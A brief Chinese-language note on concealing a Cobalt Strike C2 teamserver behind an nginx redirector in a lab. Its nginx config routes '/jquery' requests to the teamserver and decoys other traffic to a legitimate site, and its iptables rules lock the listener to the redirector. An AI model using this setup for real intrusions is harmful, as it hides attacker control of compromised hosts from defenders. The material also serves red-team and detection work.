cobalt strike 与nginx隐藏c2

环境

teamserver 192.168.0.195
nginx 192.168.0.102
靶机 192.168.0.188

nginx配置

server {
listen 80;
server_name localhost;
#charset koi8-r;
#access_log logs/host.access.log main;
location ~*/jquery{
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://192.168.0.195:8089;
}
location /{
proxy_pass http://www.qq.com;
}

监听器生成

iptables 设置只允许某个ip访问

sudo iptables -I INPUT -p tcp --dport 8089 -j DROP
sudo iptables -I INPUT -s 192.168.0.102 -p tcp --dport 8089 -j ACCEPT
sudo iptables-save

更新: 2025-05-09 10:21:53
原文: https://www.yuque.com/yuhui.net/network/cg3gr8ytb38s1uob